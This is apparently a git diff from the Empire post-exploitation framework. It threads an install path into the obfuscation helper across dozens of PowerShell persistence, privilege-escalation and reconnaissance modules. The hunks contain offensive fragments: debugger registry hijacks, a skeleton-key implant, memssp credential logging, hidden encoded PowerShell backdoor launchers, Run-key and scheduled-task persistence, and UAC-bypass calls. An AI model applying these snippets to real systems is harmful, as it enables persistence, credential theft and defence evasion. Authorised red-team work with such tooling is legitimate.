-                script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+                script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
             return script
         
 
@@ -133,5 +133,5 @@ class Module:
             # the registry command to set the debugger for the specified binary to be the binary path specified
             script = "$null=New-Item -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"+targetBinary+"';$null=Set-ItemProperty -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"+targetBinary+"' -Name Debugger -Value '"+triggerBinary+"';'"+targetBinary+" debugger set to "+triggerBinary+"'"
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/persistence/misc/disable_machine_acct_change.py b/lib/modules/powershell/persistence/misc/disable_machine_acct_change.py
index d06efe4..1ef774a 100644
--- a/lib/modules/powershell/persistence/misc/disable_machine_acct_change.py
+++ b/lib/modules/powershell/persistence/misc/disable_machine_acct_change.py
@@ -61,10 +61,10 @@ class Module:
         if cleanup.lower() == 'true':
             script = "$null=Set-ItemProperty -Force -Path HKLM:\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters -Name DisablePasswordChange -Value 0; 'Machine account password change re-enabled.'"
             if obfuscate:
-                script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+                script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
             return script
         
         script = "$null=Set-ItemProperty -Force -Path HKLM:\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters -Name DisablePasswordChange -Value 1; 'Machine account password change disabled.'"
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/persistence/misc/get_ssps.py b/lib/modules/powershell/persistence/misc/get_ssps.py
index 88a9c2c..5206dab 100644
--- a/lib/modules/powershell/persistence/misc/get_ssps.py
+++ b/lib/modules/powershell/persistence/misc/get_ssps.py
@@ -191,5 +191,5 @@ Get-SecurityPackages
                 if values['Value'] and values['Value'] != '':
                     script += " -" + str(option) + " " + str(values['Value']) 
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/persistence/misc/install_ssp.py b/lib/modules/powershell/persistence/misc/install_ssp.py
index d8f7df8..8e717d6 100644
--- a/lib/modules/powershell/persistence/misc/install_ssp.py
+++ b/lib/modules/powershell/persistence/misc/install_ssp.py
@@ -264,5 +264,5 @@ into lsass, the dll must export SpLsaModeInitialize.
                 if values['Value'] and values['Value'] != '':
                     script += " -" + str(option) + " " + str(values['Value']) 
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/persistence/misc/memssp.py b/lib/modules/powershell/persistence/misc/memssp.py
index 42d4e3a..2e6cabc 100644
--- a/lib/modules/powershell/persistence/misc/memssp.py
+++ b/lib/modules/powershell/persistence/misc/memssp.py
@@ -79,6 +79,6 @@ class Module:
 
         scriptEnd += '"memssp installed, check C:\Windows\System32\mimisla.log for logon events."'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/persistence/misc/skeleton_key.py b/lib/modules/powershell/persistence/misc/skeleton_key.py
index 36c3a52..58bc424 100644
--- a/lib/modules/powershell/persistence/misc/skeleton_key.py
+++ b/lib/modules/powershell/persistence/misc/skeleton_key.py
@@ -79,6 +79,6 @@ class Module:
 
         scriptEnd += '"Skeleton key implanted. Use password \'mimikatz\' for access."'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/persistence/powerbreach/deaduser.py b/lib/modules/powershell/persistence/powerbreach/deaduser.py
index 7c75df6..1ecb1b3 100644
--- a/lib/modules/powershell/persistence/powerbreach/deaduser.py
+++ b/lib/modules/powershell/persistence/powerbreach/deaduser.py
@@ -185,7 +185,7 @@ Invoke-DeadUserBackdoor"""
             return ""
 
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         # transform the backdoor into something launched by powershell.exe
         # so it survives the agent exiting  
         modifiable_launcher = "powershell.exe -noP -sta -w 1 -enc "
@@ -196,6 +196,6 @@ Invoke-DeadUserBackdoor"""
         # set up the start-process command so no new windows appears
         scriptLauncher = "Start-Process -NoNewWindow -FilePath '%s' -ArgumentList '%s'; 'PowerBreach Invoke-DeadUserBackdoor started'" % (parts[0], " ".join(parts[1:]))
         if obfuscate:
-            scriptLauncher = helpers.obfuscate(psScript=scriptLauncher, obfuscationCommand=obfuscationCommand)
+            scriptLauncher = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptLauncher, obfuscationCommand=obfuscationCommand)
 
         return scriptLauncher
diff --git a/lib/modules/powershell/persistence/powerbreach/eventlog.py b/lib/modules/powershell/persistence/powerbreach/eventlog.py
index eab55ee..faa4236 100644
--- a/lib/modules/powershell/persistence/powerbreach/eventlog.py
+++ b/lib/modules/powershell/persistence/powerbreach/eventlog.py
@@ -160,7 +160,7 @@ Invoke-EventLogBackdoor"""
             return ""
 
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         # transform the backdoor into something launched by powershell.exe
         # so it survives the agent exiting  
         modifiable_launcher = "powershell.exe -noP -sta -w 1 -enc "
@@ -171,7 +171,7 @@ Invoke-EventLogBackdoor"""
         # set up the start-process command so no new windows appears
         scriptLauncher = "Start-Process -NoNewWindow -FilePath '%s' -ArgumentList '%s'; 'PowerBreach Invoke-EventLogBackdoor started'" % (parts[0], " ".join(parts[1:]))
         if obfuscate:
-            scriptLauncher = helpers.obfuscate(psScript=scriptLauncher, obfuscationCommand=obfuscationCommand)
+            scriptLauncher = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptLauncher, obfuscationCommand=obfuscationCommand)
 
         print scriptLauncher
         
diff --git a/lib/modules/powershell/persistence/powerbreach/resolver.py b/lib/modules/powershell/persistence/powerbreach/resolver.py
index 554a3cc..c26a99a 100644
--- a/lib/modules/powershell/persistence/powerbreach/resolver.py
+++ b/lib/modules/powershell/persistence/powerbreach/resolver.py
@@ -172,7 +172,7 @@ Invoke-ResolverBackdoor"""
             return ""
 
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         # transform the backdoor into something launched by powershell.exe
         # so it survives the agent exiting  
         modifiable_launcher = "powershell.exe -noP -sta -w 1 -enc "
@@ -183,5 +183,5 @@ Invoke-ResolverBackdoor"""
         # set up the start-process command so no new windows appears
         scriptLauncher = "Start-Process -NoNewWindow -FilePath '%s' -ArgumentList '%s'; 'PowerBreach Invoke-EventLogBackdoor started'" % (parts[0], " ".join(parts[1:]))
         if obfuscate:
-            scriptLauncher = helpers.obfuscate(psScript=scriptLauncher, obfuscationCommand=obfuscationCommand)
+            scriptLauncher = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptLauncher, obfuscationCommand=obfuscationCommand)
         return scriptLauncher
diff --git a/lib/modules/powershell/persistence/userland/backdoor_lnk.py b/lib/modules/powershell/persistence/userland/backdoor_lnk.py
index 87e8009..822f03c 100644
--- a/lib/modules/powershell/persistence/userland/backdoor_lnk.py
+++ b/lib/modules/powershell/persistence/userland/backdoor_lnk.py
@@ -180,6 +180,6 @@ class Module:
             scriptEnd += " -EncScript '%s'" %(encScript)
             scriptEnd += "; \"Invoke-BackdoorLNK run on path '%s' with stager for listener '%s'\"" %(lnkPath,listenerName)
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/persistence/userland/registry.py b/lib/modules/powershell/persistence/userland/registry.py
index 651a008..57042d2 100644
--- a/lib/modules/powershell/persistence/userland/registry.py
+++ b/lib/modules/powershell/persistence/userland/registry.py
@@ -149,7 +149,7 @@ class Module:
             script += "Remove-ItemProperty -Force -Path HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name "+keyName+";"
             script += "'Registry Persistence removed.'"
             if obfuscate:
-                script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+                script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
             return script
 
         if extFile != '':
@@ -236,5 +236,5 @@ class Module:
 
         script += "'Registry persistence established "+statusMsg+"'"
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/persistence/userland/schtasks.py b/lib/modules/powershell/persistence/userland/schtasks.py
index 2abed9e..e4adc53 100644
--- a/lib/modules/powershell/persistence/userland/schtasks.py
+++ b/lib/modules/powershell/persistence/userland/schtasks.py
@@ -155,7 +155,7 @@ class Module:
             script += "schtasks /Delete /F /TN "+taskName+";"
             script += "'Schtasks persistence removed.'"
             if obfuscate:
-                script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+                script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
             return script
 
         if extFile != '':
@@ -234,5 +234,5 @@ class Module:
 
         script += "'Schtasks persistence established "+statusMsg+"'"
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/privesc/ask.py b/lib/modules/powershell/privesc/ask.py
index a1bb865..83992a1 100644
--- a/lib/modules/powershell/privesc/ask.py
+++ b/lib/modules/powershell/privesc/ask.py
@@ -113,5 +113,5 @@ else  {
 }
 ''' %(encLauncher)
                 if obfuscate:
-                    script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+                    script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
                 return script
diff --git a/lib/modules/powershell/privesc/bypassuac.py b/lib/modules/powershell/privesc/bypassuac.py
index f24cea2..2ecdaaf 100644
--- a/lib/modules/powershell/privesc/bypassuac.py
+++ b/lib/modules/powershell/privesc/bypassuac.py
@@ -115,6 +115,6 @@ class Module:
             else:
                 scriptEnd = "Invoke-BypassUAC -Command \"%s\"" % (launcher)
                 if obfuscate:
-                    scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+                    scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
                 script += scriptEnd
                 return script
diff --git a/lib/modules/powershell/privesc/bypassuac_eventvwr.py b/lib/modules/powershell/privesc/bypassuac_eventvwr.py
index fcbbb10..85fb4f2 100644
--- a/lib/modules/powershell/privesc/bypassuac_eventvwr.py
+++ b/lib/modules/powershell/privesc/bypassuac_eventvwr.py
@@ -110,6 +110,6 @@ class Module:
             else:
                 scriptEnd = "Invoke-EventVwrBypass -Command \"%s\"" % (encScript)
                 if obfuscate:
-                    scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+                    scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
                 script += scriptEnd
                 return script
diff --git a/lib/modules/powershell/privesc/bypassuac_tokenmanipulation.py b/lib/modules/powershell/privesc/bypassuac_tokenmanipulation.py
index 2ac1c2f..0606e5c 100644
--- a/lib/modules/powershell/privesc/bypassuac_tokenmanipulation.py
+++ b/lib/modules/powershell/privesc/bypassuac_tokenmanipulation.py
@@ -158,7 +158,7 @@ class Module:
         except Exception as e:
             pass
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         scriptEnd = "Invoke-BypassUACTokenManipulation -Arguments \"-w 1 -enc %s\"" % (encodedCradle)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/privesc/bypassuac_wscript.py b/lib/modules/powershell/privesc/bypassuac_wscript.py
index 122d681..48649b2 100644
--- a/lib/modules/powershell/privesc/bypassuac_wscript.py
+++ b/lib/modules/powershell/privesc/bypassuac_wscript.py
@@ -112,6 +112,6 @@ class Module:
             else:
                 scriptEnd = "Invoke-WScriptBypassUAC -payload \"%s\"" % (launcher)
                 if obfuscate:
-                    scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+                    scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
                 script += scriptEnd
                 return script
diff --git a/lib/modules/powershell/privesc/getsystem.py b/lib/modules/powershell/privesc/getsystem.py
index c34f848..c8ebaf9 100644
--- a/lib/modules/powershell/privesc/getsystem.py
+++ b/lib/modules/powershell/privesc/getsystem.py
@@ -115,6 +115,6 @@ class Module:
             scriptEnd += "| Out-String | %{$_ + \"`n\"};"
             scriptEnd += "'Get-System completed'"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/privesc/gpp.py b/lib/modules/powershell/privesc/gpp.py
index 8cdf96a..fbb929c 100644
--- a/lib/modules/powershell/privesc/gpp.py
+++ b/lib/modules/powershell/privesc/gpp.py
@@ -83,6 +83,6 @@ class Module:
         scriptEnd += "| Out-String | %{$_ + \"`n\"};"
         scriptEnd += "'Get-GPPPassword completed'"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/privesc/mcafee_sitelist.py b/lib/modules/powershell/privesc/mcafee_sitelist.py
index 33a4a51..dc07331 100644
--- a/lib/modules/powershell/privesc/mcafee_sitelist.py
+++ b/lib/modules/powershell/privesc/mcafee_sitelist.py
@@ -82,6 +82,6 @@ class Module:
         scriptEnd += "| Out-String | %{$_ + \"`n\"};"
         scriptEnd += "'Get-SiteListPassword completed'"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/privesc/ms16-032.py b/lib/modules/powershell/privesc/ms16-032.py
index bc740b2..a78fb84 100644
--- a/lib/modules/powershell/privesc/ms16-032.py
+++ b/lib/modules/powershell/privesc/ms16-032.py
@@ -101,6 +101,6 @@ class Module:
         scriptEnd = 'Invoke-MS16032 -Command "' + launcherCode + '"'
         scriptEnd += ';`nInvoke-MS16032 completed.'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/privesc/ms16-135.py b/lib/modules/powershell/privesc/ms16-135.py
index 5ce5527..7700817 100644
--- a/lib/modules/powershell/privesc/ms16-135.py
+++ b/lib/modules/powershell/privesc/ms16-135.py
@@ -102,5 +102,5 @@ class Module:
         script += 'Invoke-MS16135 -Command "' + launcherCode + '"'
         script += ';`nInvoke-MS16135 completed.'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/privesc/powerup/allchecks.py b/lib/modules/powershell/privesc/powerup/allchecks.py
index d299c2d..31dd7c4 100644
--- a/lib/modules/powershell/privesc/powerup/allchecks.py
+++ b/lib/modules/powershell/privesc/powerup/allchecks.py
@@ -85,6 +85,6 @@ class Module:
 
         scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/privesc/powerup/find_dllhijack.py b/lib/modules/powershell/privesc/powerup/find_dllhijack.py
index 190f421..326d3f2 100644
--- a/lib/modules/powershell/privesc/powerup/find_dllhijack.py
+++ b/lib/modules/powershell/privesc/powerup/find_dllhijack.py
@@ -100,6 +100,6 @@ class Module:
 
         scriptEnd += ' | ft -wrap | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/privesc/powerup/service_exe_restore.py b/lib/modules/powershell/privesc/powerup/service_exe_restore.py
index 5d3b979..d7c00d9 100644
--- a/lib/modules/powershell/privesc/powerup/service_exe_restore.py
+++ b/lib/modules/powershell/privesc/powerup/service_exe_restore.py
@@ -95,6 +95,6 @@ class Module:
 
         scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/privesc/powerup/service_exe_stager.py b/lib/modules/powershell/privesc/powerup/service_exe_stager.py
index c752eee..83da5b2 100644
--- a/lib/modules/powershell/privesc/powerup/service_exe_stager.py
+++ b/lib/modules/powershell/privesc/powerup/service_exe_stager.py
@@ -128,6 +128,6 @@ class Module:
         else:
             scriptEnd += "\nInstall-ServiceBinary -ServiceName \""+str(serviceName)+"\" -Command \"C:\\Windows\\System32\\cmd.exe /C $tempLoc\""    
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/privesc/powerup/service_exe_useradd.py b/lib/modules/powershell/privesc/powerup/service_exe_useradd.py
index f966dfe..2e2e1fe 100644
--- a/lib/modules/powershell/privesc/powerup/service_exe_useradd.py
+++ b/lib/modules/powershell/privesc/powerup/service_exe_useradd.py
@@ -106,6 +106,6 @@ class Module:
 
         scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/privesc/powerup/service_stager.py b/lib/modules/powershell/privesc/powerup/service_stager.py
index 1585cfd..044fb8f 100644
--- a/lib/modules/powershell/privesc/powerup/service_stager.py
+++ b/lib/modules/powershell/privesc/powerup/service_stager.py
@@ -121,6 +121,6 @@ class Module:
 
         scriptEnd += "Invoke-ServiceAbuse -ServiceName \""+serviceName+"\" -Command \"C:\\Windows\\System32\\cmd.exe /C `\"$env:Temp\\debug.bat`\"\""
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/privesc/powerup/service_useradd.py b/lib/modules/powershell/privesc/powerup/service_useradd.py
index df9701b..3ed8c4e 100644
--- a/lib/modules/powershell/privesc/powerup/service_useradd.py
+++ b/lib/modules/powershell/privesc/powerup/service_useradd.py
@@ -104,6 +104,6 @@ class Module:
                     else:
                         scriptEnd += " -" + str(option) + " " + str(values['Value']) 
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/privesc/powerup/write_dllhijacker.py b/lib/modules/powershell/privesc/powerup/write_dllhijacker.py
index e77e177..d123d4e 100644
--- a/lib/modules/powershell/privesc/powerup/write_dllhijacker.py
+++ b/lib/modules/powershell/privesc/powerup/write_dllhijacker.py
@@ -122,6 +122,6 @@ class Module:
 
         scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/privesc/tater.py b/lib/modules/powershell/privesc/tater.py
index ff525c9..e46df21 100644
--- a/lib/modules/powershell/privesc/tater.py
+++ b/lib/modules/powershell/privesc/tater.py
@@ -155,6 +155,6 @@ class Module:
                         else:
                             scriptEnd += " -" + str(option) + " \"" + str(values['Value']) + "\""
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/recon/find_fruit.py b/lib/modules/powershell/recon/find_fruit.py
index dbca367..65f0b7a 100644
--- a/lib/modules/powershell/recon/find_fruit.py
+++ b/lib/modules/powershell/recon/find_fruit.py
@@ -127,6 +127,6 @@ class Module:
 
         scriptEnd += " | Format-Table -AutoSize | Out-String"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/recon/get_sql_server_login_default_pw.py b/lib/modules/powershell/recon/get_sql_server_login_default_pw.py
index 948c69a..943ed5b 100644
--- a/lib/modules/powershell/recon/get_sql_server_login_default_pw.py
+++ b/lib/modules/powershell/recon/get_sql_server_login_default_pw.py
@@ -102,6 +102,6 @@ class Module:
         if instance != "" and not check_all:
             scriptEnd += " -Instance "+instance
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
\ No newline at end of file
diff --git a/lib/modules/powershell/recon/http_login.py b/lib/modules/powershell/recon/http_login.py
index b74f5b1..2b39a7d 100644
--- a/lib/modules/powershell/recon/http_login.py
+++ b/lib/modules/powershell/recon/http_login.py
@@ -127,6 +127,6 @@ class Module:
 
         scriptEnd += " | Out-String"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/situational_awareness/host/antivirusproduct.py b/lib/modules/powershell/situational_awareness/host/antivirusproduct.py
index 3d58f84..db0f2c8 100644
--- a/lib/modules/powershell/situational_awareness/host/antivirusproduct.py
+++ b/lib/modules/powershell/situational_awareness/host/antivirusproduct.py
@@ -101,5 +101,5 @@ Get-AntiVirusProduct """
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(self.info["Name"])+' completed!";'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/host/computerdetails.py b/lib/modules/powershell/situational_awareness/host/computerdetails.py
index 1c51f85..808a3ef 100644
--- a/lib/modules/powershell/situational_awareness/host/computerdetails.py
+++ b/lib/modules/powershell/situational_awareness/host/computerdetails.py
@@ -107,7 +107,7 @@ class Module:
                         scriptEnd += 'Write-Output "Event ID 4624 (Logon):`n";'
                         scriptEnd += "Write-Output $Filtered4624.Values | Out-String"
                         if obfuscate:
-                            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+                            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
                         script += scriptEnd
                         return script
                     if option == "4648":
@@ -115,7 +115,7 @@ class Module:
                         scriptEnd += 'Write-Output "Event ID 4648 (Explicit Credential Logon):`n";'
                         scriptEnd += "Write-Output $Filtered4648.Values | Out-String"
                         if obfuscate:
-                            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+                            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
                         script += scriptEnd
                         return script
                     if option == "AppLocker":
@@ -123,7 +123,7 @@ class Module:
                         scriptEnd += 'Write-Output "AppLocker Process Starts:`n";'
                         scriptEnd += "Write-Output $AppLockerLogs.Values | Out-String"
                         if obfuscate:
-                            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+                            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
                         script += scriptEnd
                         return script
                     if option == "PSLogs":
@@ -131,7 +131,7 @@ class Module:
                         scriptEnd += 'Write-Output "PowerShell Script Executions:`n";'
                         scriptEnd += "Write-Output $PSLogs.Values | Out-String"
                         if obfuscate:
-                            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+                            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
                         script += scriptEnd
                         return script
                     if option == "SavedRDP":
@@ -139,13 +139,13 @@ class Module:
                         scriptEnd += 'Write-Output "RDP Client Data:`n";'
                         scriptEnd += "Write-Output $RdpClientData.Values | Out-String"
                         if obfuscate:
-                            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+                            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
                         script += scriptEnd
                         return script
 
         # if we get to this point, no switched were specified
         scriptEnd += "Get-ComputerDetails -Limit " + str(self.options['Limit']['Value']) + " -ToString"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/situational_awareness/host/dnsserver.py b/lib/modules/powershell/situational_awareness/host/dnsserver.py
index acdcdae..8c9b0a2 100644
--- a/lib/modules/powershell/situational_awareness/host/dnsserver.py
+++ b/lib/modules/powershell/situational_awareness/host/dnsserver.py
@@ -101,5 +101,5 @@ function Get-SystemDNSServer
                     else:
                         script += " -" + str(option) + " " + str(values['Value']) 
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
